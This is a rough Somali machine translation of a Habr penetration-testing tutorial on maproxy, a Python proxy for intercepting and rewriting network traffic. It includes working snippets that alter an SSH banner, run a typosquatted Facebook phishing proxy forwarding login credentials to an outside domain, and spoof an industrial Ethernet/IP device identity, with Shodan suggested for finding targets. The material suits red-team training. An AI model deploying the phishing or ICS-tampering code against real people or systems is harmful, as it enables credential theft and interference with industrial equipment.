Habka xogta shabakada duulista

Turjumaada maqaalka waxaa la diyaariyay ka hor bilowga koorsada "Pentest. Dhaqanka tijaabada gelitaanka".

Habka xogta shabakada duulista

Abstract

Noocyo kala duwan oo ah qiimaynaha amniga, oo u dhexeeya imtixaan galinta caadiga ah iyo hawlgallada Kooxda Cas ilaa jabsiga aaladaha IoT/ICS iyo SCADA, ku lug leh la shaqaynta borotokoolka shabakadaha binary, taas oo ah, asal ahaan dhexda iyo wax ka beddelka xogta shabakada ee u dhaxaysa macmiilka iyo bartilmaameedka. Taraafikada shabakada qiiqa maaha hawl adag tan iyo markii aan haysano qalab sida Wireshark, Tcpdump ama Scapy, laakiin wax ka beddelka ayaa u muuqda inuu yahay hawl aad u xoog badan tan iyo waxaan u baahan doonaa nooc ka mid ah interface si loo akhriyo xogta shabakada, shaandheyn, beddelo. ku duuli oo dib ugu soo celi martigeliyaha bartilmaameedka wakhtiga dhabta ah. Intaa waxaa dheer, way fiicnaan lahayd haddii qalabkan oo kale uu si toos ah ugu shaqeyn karo xiriiro badan oo barbar socda oo la beddeli karo iyadoo la adeegsanayo qoraallada.

Maalin maalmaha ka mid ah ayaan helay qalab la yiraahdo maproxy, dukumeentigu si degdeg ah ayay ii cadeeyeen taas maproxy - kaliya waxa aan u baahanahay. Kani waa wakiil si fudud oo fudud, wax ku ool ah oo si fudud loo habayn karo. Waxaan ku tijaabiyay qalabkan dhowr codsi oo si cadaalad ah u adag, oo ay ku jiraan aaladaha ICS (kuwaasi oo soo saara baakado badan) si aan u eego haddii ay xamili karto xidhiidho badan oo isbarbar socda, iyo in qalabku si fiican u qabtay.

Maqaalkani wuxuu ku bari doonaa habaynta xogta shabakada ee duulista adoo isticmaalaya maproxy.

guudmar

Qalabka maproxy waxay ku salaysan tahay Tornado, qaab-dhismeedka isku xidhka caanka ah ee bislaaday ee Python.

Guud ahaan, waxa ay ku shaqayn kartaa dhawr nooc:

  • TCP:TCP - Xidhiidhada TCP ee aan qarsoodi ahayn;
  • TCP:SSL и SSL:TCP - oo leh sireed hal dhinac ah;
  • SSL:SSL - sirta labada dhinac.

Waxay u timaadaa maktabad ahaan. Bilawga degdega ah, waxaad isticmaali kartaa tusaale faylal ka tarjumaya kuwa ugu muhiimsan hawlaha maktabadda:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kiiska 1 - wakiil fudud oo laba jiho ah

Iyada oo ku saleysan tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

by default ProxyServer() waxay qaadataa laba doodood - goobta isku xirka iyo dekedda bartilmaameedka. server.listen() waxay qaadataa hal dood - deked loogu talagalay dhageysiga xiriirka soo socda.

Fulinta qoraalka:

# python tcp2tcp.py

Si aan tijaabada u wadno, waxa aanu ku xidhi doonaa server-ka SSH ee maxaliga ah iyada oo loo marayo qoraalkayaga wakiil, kaas oo dhegaysan doona 2222/tcp dekedda oo ku xidha deked caadi ah 22/tcp Adeegayaasha SSH:

Habka xogta shabakada duulista

Boodhka soo dhawayntu waxa uu ku ogaysiinayaa in qoraalka tusaalahayagu si guul leh u matalay taraafikada shabakada.

Kiiska 2 - beddelka xogta

Qoraal demo kale logging_proxy.py ku habboon la falgalka xogta shabakadda. Faallooyinka ku jira faylka ayaa qeexaya hababka fasalka ee aad wax ka beddeli karto si aad u gaadho yoolkaaga:

Habka xogta shabakada duulista

Waxa ugu xiisaha badan waa halkan:

  • on_c2p_done_read - si ay u dhexgalaan xogta jidka laga bilaabo macmiilka ilaa serverka;
  • on_p2s_done_read - rogay.

Aan isku dayno inaan bedelno banner SSH ee seerfarku ku soo celiyo macmiilka:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Fulinta qoraalka:

Habka xogta shabakada duulista

Sida aad arki karto, macmiilka waa la marin habaabiyay sababtoo ah magaca server-ka SSH isaga ayaa loo beddelay «DumnySSH».

Habka xogta shabakada duulista

Kiiska 3 - bogga shabakadda phishing fudud

Waxaa jira habab aan dhammaad lahayn oo loo isticmaalo qalabkan. Markan aynu diiradda saarno wax aad waxtar u leh oo ka socda dhinaca hawlgallada Kooxda Cas. Aynu ku dayanno bogga soo degaya m.facebook.com oo isticmaal goob gaar ah oo leh qoraal ula kac ah, tusaale ahaan, m.facebok.com. Ujeeddooyin mudaaharaad, aynu ka soo qaadno in domain-ku annagu ka diiwaan gashannahay.

Waxa aanu samayn doonaa xidhiidh shabakadeed qarsoodi ah oo aanu la leenahay dhibbanayaashayada wakiilka iyo SSL Stream serverka Facebook31.13.81.36). Si aan tusaalahaan uga dhigno mid shaqeeyo, waxaan u baahanahay inaan bedelno cinwaanka martigeliyaha HTTP oo aan ku durno magaca martida saxda ah, sidoo kale waxaan joojin doonaa isku dhafka jawaabta si aan si sahlan u galno waxa ku jira. Ugu dambeyntii waxaan bedeli doonaa foomka HTML si warqadaha aqoonsiga login noogu soo diro halkii ay ka ahaan lahaayeen server-yada Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/so/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Soo koobid:

Habka xogta shabakada duulista

Sida aad arki karto, waxaan si guul leh u awoodnay inaan bedelno goobta asalka ah.

Kiiska 4 – Xarigga Ethernet/IP

Waxaan in muddo ah la tacaalayay aaladaha warshadaha iyo software-ka (ICS/SCADA), sida kontaroolayaasha barnaamijyada (PLC), modules I/O, darawalada, relaysyada, deegaan barnaamijyada jaranjarada iyo qaar kaloo badan. Kiiskan waxaa loogu talagalay kuwa jecel waxyaabaha warshadaha. Jebinta xalalka noocaas ah waxay ku lug leedahay si firfircoon ugu ciyaarista borotokoolka shabakada. Tusaalaha soo socda, waxaan jeclaan lahaa inaan ku tuso sida aad wax uga beddeli karto taraafikada shabakadda ICS/SCADA.

Tan waxaad u baahan doontaa waxyaabaha soo socda:

  • sniffer network, tusaale ahaan, Wireshark;
  • Ethernet/IP ama kaliya aaladda SIP, waxaad ka heli kartaa adoo isticmaalaya adeega Shodan;
  • Qoraalkeenu wuxuu ku salaysan yahay maproxy.

Marka hore, aan eegno sida ay u egtahay jawaabta aqoonsiga ee CIP (Protocol Warshadaha Guud)

Habka xogta shabakada duulista

Aqoonsiga aaladda waxa lagu dhammeeyaa iyada oo la isticmaalayo borotokoolka Ethernet/IP, kaas oo ah nooca la xoojiyey ee borotokoolka Ethernet-ka ee warshadaha kaas oo ku duuba borotokoolka xakamaynta sida CIP. Waxaan bedeli doonaa magaca aqoonsiga ee muuqda kaas oo ka muuqda shaashadda "NI-IndComm ee Ethernet" annagoo adeegsanayna qoraalka wakiillada. Waxaan dib u isticmaali karnaa qoraalka logging_proxy.py oo si la mid ah wax ka beddel habka fasalka on_p2s_done_read, sababtoo ah waxaan rabnaa magac aqoonsi oo ka duwan inuu ka dhex muuqdo macmiilka.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Asal ahaan, waxaanu waydiisanay aqoonsiga aaladda laba jeer, jawaabta labaad waxay ahayd tii asalka ahayd, kii horena waxa wax laga beddelay duullimaad.

Iyo kan ugu dambeeya

Fikradeyda maproxy Qalab sahlan oo sahlan, kaas oo sidoo kale ku qoran Python, sidaas darteed waxaan aaminsanahay inaad adiguna ka faa'iideysan karto isticmaalka. Dabcan, waxaa jira qalab aad u adag oo loogu talagalay habaynta iyo wax ka beddelka xogta shabakada, laakiin sidoo kale waxay u baahan yihiin taxadar badan waxaana badanaa loo abuuray kiis gaar ah oo la isticmaalo, tusaale ahaan. Muraena, Modlishka ama xumaanta kiisaska la mid ah kii saddexaad, ama fadhiga kiiskii ugu dambeeyay. Hal waddo ama si kale, iyadoo la kaashanayo maproxy waxaad si dhakhso ah u hirgelin kartaa fikradahaaga faragelinta xogta shabakada, maadaama qoraallada tusaalaha ah ay aad u cad yihiin.

Tijaabinta hababka xaqiijinta ee Windows AD

Source: www.habr.com

Add a comment